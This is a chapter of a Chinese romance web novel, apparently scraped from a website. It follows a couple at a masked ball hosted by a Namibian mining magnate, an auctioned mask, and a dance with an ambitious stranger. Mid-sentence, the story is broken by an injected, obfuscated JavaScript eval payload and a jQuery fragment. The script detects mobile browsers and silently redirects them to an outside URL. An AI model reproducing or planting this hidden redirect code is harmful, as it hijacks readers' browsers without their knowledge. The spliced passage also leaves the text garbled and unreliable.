面具上似乎还有残留的温度,闻隐下意识避了下,护着她的手也固定她,她没能成功躲开,看阴影稳稳落在自己脸上。
从弧度漂亮的框里见到沈岑洲的手指,修长清隽,又从指缝中看他的脸若隐若现。
他眼睑轻垂,察觉她视线,一侧眉微牵。
闻隐不想与他对视,不高兴地闭眼,准备等面具戴好再睁开。
偏耳侧指腹迟迟没有离开。
闻隐皮肤有点痒,忍无可忍睁眼。
面具缀在她脸上,沈岑洲重新完整出现在她面前。
窥到她很有几分气性的眼,沈岑洲泰然自若,“需要调整。”
他最后拨了下面具,没有带来丝毫变化,面不改色收回手,“好了。”
闻隐后退一步,扶了下面具,到底没摘下,脑袋一偏,不应他,也一眼都没再看他。
面对妻子,沈岑洲并不觉得自己明目张胆的行径有何不可。
他是要循序渐进,又不是善罢甘休。
他漫不经心打量从闻隐脸上摘下的面具。
她的面具对于沈岑洲并不合适,他握在手里,并未佩戴。
矿产大亨邀请的是他这个人,活动如何都是为他服务,自然无人对此有所置喙。
而闻隐也对场上西装革履失去兴趣,她来此是要与矿产大亨见一面,恰逢假面多看了一二。
对方相邀,自然早做好准备,闻隐欣赏好风景愿意前来一叙,宾尽主欢。
今天没什么生意商谈,只是闻隐既负责钻石矿项目,这些人迟早要建立联系。
如今见过,闻隐不欲多聊,听闻同场有拍卖会准备去参观一二,丢下被矿产大亨挽留的沈岑洲,彬彬有礼先一步告辞,姿态无懈可击。
她去到毗邻的场地,拍卖会并不十分正规,是用来为舞会增添光彩。
宾客可以留下自己一样物品进行拍卖,留有注意的人自然会拍走,不想凭借交换的面具去寻找舞伴的宾客,也可以通过这一物品作为媒介。
很别出心裁的设计。
闻隐也想参与这份热闹。
身上可移动的物件屈指可数。
她指尖动了动,闲来无事般抬手。
扣上面具。
—
沈岑洲出来时闻隐已不见踪影。
拍卖会与舞会同场而开,拍卖师激情昂扬,沈岑洲神色不显,去到僻静沙发落座。
层层绿植外,宾客在场中手舞足蹈,尽情迎接狂欢节的到来。
矿产大亨作为主办方,一起现形落座。
上了年纪的老人家,颇有些纳罕这对夫妻感情如此之好,观这位年纪轻手段却冷厉的掌权人神色,似乎一刻也不舍分开。
他弯着笑,“怪我留人。”
沈岑洲面上风轻云淡,并不过分在意的模样。
有秘书过来,恭敬垂首汇报,矿产大亨不动声色摆手,“不用。”
来人掩住惊讶,应声退走。
沈岑洲置身事外般品了口茶。
叱咤纳米比亚的大人物还有什么不懂。
不管这对夫妻关系到底如何,这位东方来的主儿愿意让妻子下面子,也乐意捧着妻子。
那他为贵客安排的就不是投其所好,而是多此一举。
无怪秘书惊讶,他为这步多此一举投了大手笔。
矿产大亨颇为遗憾地悬崖勒马,话锋一转,“听说你太太过两天去纳米布沙漠考察,我在那边也有几处矿产,有机会合作看看,千万不要嫌我这老家伙固步自封。”
沈岑洲扬起一侧眉,“哪里的话。”
矿产大亨笑起来,知道这转投的一步才是对方真正所好。
自此相谈甚欢。
而有意多此一举的显然并非他一人。
聊天间隙,矿产大亨目色一凝,笑着指向那侧女郎,“你等的人来了。”
女郎身形被遮挡,支起的手露出面具。
正是闻隐与他见面时脸上那张。
沈岑洲眼都没抬,“不是。”
谈话间,那位女郎跟着男人慢慢走了过来。
人完整展露,矿产大亨看个真切,果然不是。
他后靠沙发,“是我眼拙。”
来人也近至身前,为首的男人在生意场上是熟面孔,和大亨打了招呼,转过身来,“沈总远临,今天可算见到人了。”
沈岑洲可有可无地应了声,疏淡至有些冷漠。
男人把身后女郎推上前来,“和沈总有缘,我妹妹拿到了您面具,她胆子小不敢张嘴,只好我陪她过来。”
女郎胆怯羞涩地笑笑,甚至笨拙鞠了个躬,“沈总。”
精挑细选的人自然是漂亮的。
矿产大亨有心想看这条路能不能走得通。
毕竟他准备却没能上场的人更不可能在这上面落下风。
想了想,他笑道:“沈总和太太来的。”
男人跟着笑,“假面舞会的规矩就是交换到面具做一回舞伴,沈总的太太不能小气。”
矿产大亨看沈岑洲态度如何,观他视线似乎并未收回。
这像是某种信号,大亨觉得不太对劲,顺着看过去。
绿植影影绰绰走来人影,沙漠元素的裙摆摇曳生姿。
闻隐的裙子。
沈岑洲归然不动,绮丽身形终于出现在眼前。
她搭了件外套,不理会这里话未说尽的气氛,未尽兴般,“我刚刚在阳台,下面好热闹。”
狂欢节,街道自然狂欢。
矿产大亨给面子地正要接话,沈岑洲已旁若无人般出声:“怎么不等我一起看?”
语气平淡,嗓音甚至有些疏冷,然话语已足够展示亲近。
他没有等闻隐回复,重新看向刚刚说话的男人,“你继续。”
“……”
这怎么继续。
男人一时茫然,想说什么又担心惹怒对方,他正犹豫不决,刚刚面上惶恐的女郎已迈出一步。
脸上坚决,眼底甚至有莫名光芒。
男人不及拽回她,女郎已又鞠了一躬,“沈太太。”
她声音发颤。
成功引走闻隐的目光。
女郎举起手上面具,“我…我交换到了这个面具,舞会规则,可以和面具的主人共舞。”
闻隐好整以暇点了点头。
男人急急撇清关系,斥道:“胡来。”
沈总摆明了看重自己太太,她现在这样——
女郎咬唇:“我看到您戴了这副面具,您愿意和我跳舞吗?”
“……?”
男人愕然。
闻隐被女郎的随机应变第二次引走目色。
看到她眼里生出的希冀。
可是,她为什么要和一个陌生人跳舞?
女郎继续:“沈太太,您身上的礼服是银河资本旗下的设计,我有幸在银河资本实习过,每一件衣服都有它的灵魂,我想和您讲一讲它的故事。”
银河资本。
矿产大亨朝向沈岑洲,介绍起它的来历。
女郎这才小心翼翼说出企图,“如果我讲得不错,您可以和银河资本推荐我吗?”
对于沈氏来说,递个消息自然轻而易举。
不管女郎为何出现在这里。
闻隐停了微不足道的几息。
对方这样把握机会,她为什么不给?
她轻描淡写:“走吧。”
女郎难掩失望,闻隐轻笑,“非洲巨头主办的舞会,我当然要感受下。”
矿产大亨猝不及防赚了面子,面容正色,抬酒朝闻隐点了下,很有诚
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15490130|168345||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
意地饮去。
又朝沈岑洲举了杯酒。
他主办的舞会,一开始的安排即使悬崖勒马,后来放任男人携女郎上前,自己的心思也展露无遗。
身居此位,不好明白表达歉意。
但合作上想不受影响,到底要给出态度。
矿产大亨招来人,冷淡看向男人,“带下去。”
男人还欲争辩,保镖快准捂住对方声音。
沈岑洲像没有看到,视线皆在舞会中。
平常的交际舞,对面的人不知停歇地说着。
闻隐跳得敷衍、克制、疏离。
可她会同意,本就不同寻常。
他的视线确实在那位女郎身上穿梭过片刻。
他记不清脸,却记得自己当时思绪。
在闻氏的会议室,闻隐曾安排人送过一盏加料的茶。
此情此景,何其相似。
沈岑洲有一息想法偏离,想她在故技重施。
他并不认为在自己结婚的情况下,有人敢给他送人。
这些断定实在有失偏颇至冤枉,沈岑洲神色如常,眼底却有些冷淡。
如果真敢给他送人。
闻隐在他失忆后拒绝一切应该有的接触。
沈岑洲情绪莫名,没有道理地想,
该是受了失忆前的牵连。
一曲结束,见闻隐回来,他思绪戛然而止。
闻隐已决定离开,矿产大亨悉心送别,女郎脸上的笑容很大,开心招手,“闻小姐,下次见。”
沈岑洲眉心微动,睇了眼闻隐。
相比对方的热情,闻隐随意招了招手。
直至两人上车,沈岑洲忽淡道:“你很开心。”
唇线平直的闻隐不明白他何出此言,她鼻尖微皱,沈岑洲已漫不经心补充,“看来对方讲出了衣服的灵魂。”
闻隐撑着脸,“我不喜欢带故事的礼服,像在穿别人的衣服。”
沈岑洲没有顺着她讲,唇角噙着恍若温和的笑意,面容却平淡,“你告诉对方你的名字。”
一面之缘,闻隐骨子里并非与人亲近的性子,诚然她可爱、娇纵,轻而易举的撒娇,那是对他。
在外人面前,她向来是居高临下的。
闻隐现在就很想展示自己的高高在上,她扬着下颌,“沈岑洲,你注意到就直说,拿我做什么借口。”
沈岑洲语气疏淡,“是你把面具换出去。”
闻隐纠正:“不是换,是拍卖。”
沈岑洲朝后靠去,唇角平和,“下一步是不是要拍卖自己的丈夫?”
闻隐会错意,呲牙咧嘴,“我和你联盟都没有在外面玩,我们婚姻期间,你想都不要想。”
想了想,她又补充:“找到白月光另说。”
话题偏离轨道,已没有回旋的空间。
沈岑洲闭目养神,不再出声。
他神色一如既往,收敛的眉心映入闻隐余光。
窥到他的些微情绪。
他应是不高兴的。
沈岑洲这个人看着平和,实则倨傲、冷漠、目中无人。
占有欲极强。
面具落到别人手里,他面上不显,说不定已经着手清算。
闻隐抿着唇,忽悉悉索索摸索起来,而后朝沈岑洲脸压去。
冰冷的物件覆在他脸上。
面具被放上拍卖台的最后一息,她分辨不出彼时情绪。
手莫名收了回来。
舞会上有人要给沈岑洲送人情,即使面具不脱手,自有人加急做同款出来。
他们要的,只是一个说话的机会而已。
闻隐瞪着他,眼睛里光芒闪烁。
咬牙切齿的恼怒。
沈岑洲没有睁眼,沉默的数息。
唇忽微牵。